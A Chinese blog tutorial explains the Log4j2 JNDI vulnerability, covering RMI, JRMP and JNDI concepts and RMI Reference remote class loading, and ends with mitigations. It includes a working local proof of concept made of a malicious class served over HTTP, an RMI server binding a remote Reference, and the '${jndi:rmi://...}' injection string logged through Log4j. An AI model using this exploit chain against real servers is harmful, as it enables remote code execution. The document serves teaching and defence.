【Java小姿势】Log4j2漏洞的前世今生

文章目录

  • A.源起
  • B.Java反序列化RCE
    • 1.RMI
    • 2.JRMP
    • 3.JNDI
    • 4.RMI和RPC的区别
  • C.如何利用RMI进行攻击
    • 1.RMI调用流程
    • 2.我们能想到什么
        • 大致流程
  • D.Log4j2漏洞
    • 1.具体实现方法
    • 2.为什么有些人在自己的环境无法测出问题
    • 3.关于该漏洞的防范与应对方式
  • E.没有终结的对抗之旅

本文作者: AceCandy
博客原文链接: https://acecandy.cn/archives/Log4j2漏洞的前世今生
版权声明: 本博客所有文章除特别声明外,均采用CC BY-NC-SA 3.0 许可协议。转载请注明出处!

A.源起

2021年12月9日,各大公司都被一个重量级漏洞引爆了,该漏洞一旦被攻击者利用就会造成及其严重的影响。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重。然后从10日凌晨开始很多公司的程序员都被迫开始应急相应,加班加点修复问题。该漏洞涉及包含但不限于Struts2、Flink、ElasticSearch、Druid、dubbo、Redis、kafka等常用应用和组件。

爆出这个漏洞的这就是大名鼎鼎的日志组件log4j2 。作为日志组件,在java领域基本上是再常见运用不过的了,而这个漏洞可以让攻击者在使用了log4j组件的服务器上执行任意代码。所以勒索用户和企业还不是分分钟的事,怪不得一众媒体都称漏洞危害堪比“永恒之蓝”了。
【Java小姿势】Log4j2漏洞的前世今生_第1张图片

B.Java反序列化RCE

说起log4j漏洞的攻击方式,实际上就是反序列化RCE漏洞,反序列化所造成的被黑客用来攻击的例子可是数不胜数。log4j包括早些年的shiro低版本以及fastjson这些大家都有所耳闻的漏洞,底层原理也与它息息相关,所以得先说说JAVA反序列化RCE(remote command/code execute 远程代码执行)漏洞的一些基础概念:RMI、JRMP、JNDI。

1.RMI

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

我们知道一般JAVA方法调用指的是同一个JVM中方法的相互调用。而RMI恰恰相反,简单来说就是跨越JVM调用远程方法。

比如浏览器调用http接口,RMI就是直接调用JAVA方法。

2.JRMP

Java远程方法协议(Java Remote Method Protocol)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议。

从这个定义可以知道,JRMP是一个协议,用于JAVA RMI调用过程。RMI的过程是通过JRMP这个协议去组织数据格式然后通过TCP进行传输进行的。

还是类比浏览器,http协议就是处于TCP/IP协议之上,通过这个协议,浏览器和服务端才能正常交流通讯。

3.JNDI

Java命名和目录接口(Java Naming and Directory Interface),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。

这就是指在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。

所以简单理解JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象(就像使用key在map中找value),并把它下载到客户端中来。

4.RMI和RPC的区别

说到这里是不是感觉RMI好像做的事和RPC有点像,顺便稍微复习下RPC。

RPC(Remote Procedure Call Protocol)远程过程调用协议,通过网络从远程计算机上请求调用某种服务。

RPC(远程过程调用)和RMI(远程方法调用)是两种可以让用户从一台电脑调用不同电脑上面的方法的的机制(也可以称作规范、协议)。

两者的主要不同是他们的使用方式或者称作范式,RMI使用面向对象 的范式,也就是用户需要知道他调用的对象和对象中的方法;RPC不是面向对象也不能处理对象,而是调用具体的子程序

RMI 能够让在客户端Java虚拟机上的对象像调用本地对象一样调用服务端Java虚拟机中的对象上的方法。

1:方法调用方式不同:

  • RMI中是通过在客户端的Stub对象作为远程接口进行远程方法的调用。每个远程方法都具有方法签名。如果一个方法在服务器上执行,但是没有相匹配的签名被添加到这个远程接口(stub)上,那么这个新方法就不能被RMI客户方所调用。
  • RPC中是通过网络服务协议向远程主机发送请求,请求包含了一个参数集和一个文本值,通常形成“classname.methodname(参数集)”的形式。RPC远程主机就去搜索与之相匹配的类和方法,找到后就执行方法并把结果编码,通过网络协议发回。

2:适用语言范围不同:

  • RMI只用于Java;
  • RPC是网络服务协议,与操作系统和语言无关。

3:调用结果的返回形式不同:

  • Java是面向对象的,所以RMI的调用结果可以是对象类型或者基本数据类型;RMI的结果统一由外部数据表示,这种语言抽象了字节序类和数据类型结构之间的差异。

RMI就是开发百分之百纯Java的网络分布式应用系统的核心解决方案之一,其实RMI可以直接看作是RPC的Java版本(实现)。传统RPC并不能很好地应用于分布式对象系统,而Java RMI 则支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。满足了Java“一次编写,处处运行”的美好愿景。

C.如何利用RMI进行攻击

RMI攻击主要分3种目标:RMI Client、RMI Server、RMI Registry。要想理解攻击可能出现在哪块,首先看看RMI的调用流程到底是什么样的。

1.RMI调用流程

使用远程方法调用,必然会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。

任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。

// 这里定义了一个继承Remote类的的IHello接口
// 该接口必须在server和client端都存在(且类名、包名都需要一样)
public interface IHello extends Remote {
    String sayHello(String name) throws RemoteException;
}

// server端需要实现该IHello类,以及对应的sayHello方法
// 另外因为这里没有继承UnicastRemoteObject类,所以是手工在构造方法中调用UnicastRemoteObject.exportObject()初始化了远程对象
public class HelloImpl implements IHello {
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }

    @Override
    public String sayHello(String name) throws RemoteException {
        System.out.println(name);
        return name;
    }
}

在服务端启动一个RMIResgistry,监听在1099这个端口上,并绑定了rmi://127.0.0.1:1099/hello这个路径给远程对象的引用rHello。

public class NormalRmiServer {

    public static void main(String[] args) throws Exception {

        IHello rhello = new HelloImpl();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1:1099/hello", rhello);
        System.out.println("Server started");
    }
}

然后启动后这个server端就准备好了,并且能看到我们打印的Server started信息。
【Java小姿势】Log4j2漏洞的前世今生_第2张图片

然后这里客户端通过远程主机和端口信息本地创建了一个Stub对象作为Registry远程对象的代理,服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。

public class NormalRmiClient {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        IHello rhello = (IHello) registry.lookup("hello");
        rhello.sayHello("AceCandy");
    }
}

然后启动client端,就能看到执行了Ihello方法了,并且在server端也打印出了这个AceCandy信息。
【Java小姿势】Log4j2漏洞的前世今生_第3张图片

从逻辑上来看,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。

  1. Server端监听了一个端口,并随机选择了一个远程对象的通信端口。
  2. Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
  3. Client端可以调用Stub上的方法,Stub连接到Server端监听的通信端口并提交参数;
  4. 远程Server端上执行具体的方法,并返回结果给Stub;
  5. Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法;
    【Java小姿势】Log4j2漏洞的前世今生_第4张图片

2.我们能想到什么

从上面这个流程我们可以看出,整个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端。而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。

所以现在再来看RMI Client、RMI Server、RMI Registry这几个概念,分别代表「RMI服务端使用bind方法可以实现主动攻击RMI Registry」、「RMI客户端使用lookup方法理论上可以主动攻击RMI Registry」、「RMI Registry在RMI客户端使用lookup方法的时候,可以实现被动攻击RMI客户端」。

但是有人也会问,既然是反序列化攻击,那么必须得找到能使用的gadget吧?如果没有gadget(简单理解成可利用的指令片段),那就谈不上反序列化RCE了。

反序列化RCE下gadget的确很重要,若是没有gadget的依赖,那么基本就是束手无决了,像前面所说的,三个目标的攻击,我们都可以利用gadget,构造恶意的序列化数据达到反序列化攻击RCE。

但是有一个例外,利用Reference对象,在某些特殊情况下可以不需要gadget依赖的存在进行序列化攻击,亦或者说Reference也是一个gadget。

大致流程
  1. 在本地启动一个80端口的web服务器,tomcat、nginx或者其它的web服务器都可以

  2. 然后写一个恶意java文件,比如Calc.java文件,然后将编译后的class文件放到上面的web服务器根目录下

  3. 在服务端注册一个Reference对象到RMI Registry,并绑定到evil方法

    Registry registry = LocateRegistry.getRegistry(1099);
    Reference reference = new Reference("Calc","Calc","http://localhost:80/");
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    registry.bind("evil",referenceWrapper);
    
    
  4. 客户端执行代码去lookup RMI Registry

    new InitialContext().lookup("rmi://127.0.0.1:1099/evil");
    
  5. 调用栈如下

    getObjectInstance:296 NamingManager (javax.naming.spi)
    decodeObject:499 RegistryContext (com.sun.jndi.rmi.registry)
    lookup:138 RegistryContext (com.sun.jndi.rmi.registry)
    lookup:205 GenericURLContext (com.sun.jndi.toolkit.url)
    lookup:417 InitialContext (javax.naming)
    
  6. 其中getObjectInstance方法代码如下

    public static Object
            getObjectInstance(Object refInfo, Name name, Context nameCtx,
                              Hashtable<?,?> environment)
            throws Exception
        {
    
            ObjectFactory factory;
    
            // Use builder if installed
            ObjectFactoryBuilder builder = getObjectFactoryBuilder();
            if (builder != null) {
                // builder must return non-null factory
                factory = builder.createObjectFactory(refInfo, environment);
                return factory.getObjectInstance(refInfo, name, nameCtx,
                    environment);
            }
    
            // Use reference if possible
            Reference ref = null;
            if (refInfo instanceof Reference) {
                ref = (Reference) refInfo;
            } else if (refInfo instanceof Referenceable) {
                ref = ((Referenceable)(refInfo)).getReference();
            }
    
            Object answer;
    
            if (ref != null) {
                String f = ref.getFactoryClassName();
                if (f != null) {
                    // if reference identifies a factory, use exclusively
    
    ================>  factory = getObjectFactoryFromReference(ref, f);
                    if (factory != null) {
                        return factory.getObjectInstance(ref, name, nameCtx,
                                                         environment);
                    }
                    // No factory found, so return original refInfo.
                    // Will reach this point if factory class is not in
                    // class path and reference does not contain a URL for it
                    return refInfo;
    
                } else {
                    // if reference has no factory, check for addresses
                    // containing URLs
    
                    answer = processURLAddrs(ref, name, nameCtx, environment);
                    if (answer != null) {
                        return answer;
                    }
                }
            }
    
            // try using any specified factories
            answer =
                createObjectFromFactories(refInfo, name, nameCtx, environment);
            return (answer != null) ? answer : refInfo;
        }
    
  7. 其中这个getObjectFactoryFromReference方法中通过clas = helper.loadClass(factoryName code);这行代码,完成了对远程class的读取加载。

    static ObjectFactory getObjectFactoryFromReference(
            Reference ref, String factoryName)
            throws IllegalAccessException,
            InstantiationException,
            MalformedURLException {
            Class<?> clas = null;
    
            // Try to use current class loader
            try {
    ==========> clas = helper.loadClassWithoutInit(factoryName);
                // Validate factory's class with the objects factory serial filter
                if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                    return null;
                }
            } catch (ClassNotFoundException e) {
                // ignore and continue
                // e.printStackTrace();
            }
            // All other exceptions are passed up.
    
            // Not in class path; try to use codebase
            String codebase;
            if (clas == null &&
                    (codebase = ref.getFactoryClassLocation()) != null) {
                try {
                    clas = helper.loadClass(factoryName, codebase);
                    // Validate factory's class with the objects factory serial filter
                    if (clas == null ||
                        !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                        return null;
                    }
                } catch (ClassNotFoundException e) {
                }
            }
    
            @SuppressWarnings("deprecation") // Class.newInstance
            ObjectFactory result = (clas != null) ? (ObjectFactory) clas.newInstance() : null;
            return result;
        }
    

D.Log4j2漏洞

上面我们已经大致知道了利用RMI进行反序列化RCE的方式了,那我们就来看看这次的log4j漏洞是怎么被攻击的。

1.具体实现方法

按照上面Reference 的思路,我先在本地写了一个java文件,在静态块中打印了一行字。

public class EvilRCE {

    static {
        System.out.println("恶意程序执行中……");
    }
}

在target中拿到对应编译好的的class文件。
【Java小姿势】Log4j2漏洞的前世今生_第5张图片
然后在开发机上启动了一个python简易服务,端口8180。
【Java小姿势】Log4j2漏洞的前世今生_第6张图片
然后把刚刚的class文件上传到服务根目录,这里是直接在这个文件目录下。
【Java小姿势】Log4j2漏洞的前世今生_第7张图片

写一个server端将registry绑定到这个ip端口的Reference上,然后启动服务端。

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import javax.naming.Reference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();

        Reference reference = new Reference("EvilRCE",
                "EvilRCE", "http://10.26.27.181:8180/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);

        System.out.println("Server started on port 1099");
    }
}

再写个client端使用log4j打印日志。

public class Log4j2Test {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String... args) {

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        // String username = "${java:os}";
        String username = "${jndi:rmi://localhost:1099/evil}";
        LOGGER.info("Hello, {}?!", username);
    }

}

调用后查看结果发现,已经执行了在开发机上的类的静态块。
【Java小姿势】Log4j2漏洞的前世今生_第8张图片

这是简单的用法,如果这个类是对服务器造成什么破坏的话,那影响就大了。而且我们很多时候比如收到username什么的就会打印一条日志,攻击者很可能就直接写一段命令进行执行,所以使用起来也非常简单。也怪不得为什么各大公司都这么紧张这个事情。

2.为什么有些人在自己的环境无法测出问题

有人自己试了可能会发现不能进行远程调用,是因为功能可能未开启。在上面的试验中我使用的是log4j-2.12.0版本,另外jdk是1.7(当然1.8也可以),需要手动开启com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase。更新的稳定版本里面,会首先默认就是关闭该能力,所以可能会试验不出来,大家可以尝试降低版本或者手动开启功能。另外有些项目直接就没使用log4j,而是使用的logback,所以也无法复现。

3.关于该漏洞的防范与应对方式

这些是一些整理的解决方式,当然有些人担心可能多种防范都做了。

  1. 组件及JDK版本升级 。jdk升级到最新版(包括并不限于1.7的最新稳定版、1.8的最新稳定版等等),更新log4j2版本为log4j-2.15.0-rc2,也就是maven上2.15.0的版本。
  2. 网络限制 。对于使用开源代码搭建的Dnslog服务器进行服务识别过滤,知名DNSLog网站如下:ceye.io、dnslog.link、dnslog.cn、dnslog.io、tu4.org、burpcollaborator.net、s0x.cn等等。如果不需要外网权限的尽量直接关闭对外网络。
  3. 请求过滤 。恶意流量中可能存在jndi:ladp: jdni:rmi该种字符串,IDPS和WAF可以编写相应规则,但是对于HTTPS协议不能很好防护;针对网上流传的漏洞利用文件编写snort规则。
  4. 手动关闭lookUp功能 。这一点只能算补充一下能力,属于缓解,比如添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true、修改配置文件log4j2.formatMsgNoLookups=True、修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true等等。

E.没有终结的对抗之旅

这篇主要是由这次的log4j漏洞展开说了一下Java反序列化RCE,以及利用RMI进行攻击的原理和各种方式。

其实早从18年之前log4j就因为lookup功能导致出现了漏洞,当前又出现了一波反序列化RCE,而且就在如今更新到了2.16.0版本后,又曝出了新的问题。

依旧是由lookup功能导致,这次是在MDC中出现的不可控制的递归问题。

官方紧急更新了2.17.0 解决了问题。方案是对于只有配置中的查找字符串被递归扩展;在任何其他用法中,仅解析顶级查找,不解析任何嵌套查找。

一切都还没有终结。无论怎样,世界既然在进步,我们也将一直前行。

你可能感兴趣的:(点将,Java,java,安全漏洞,log4j2)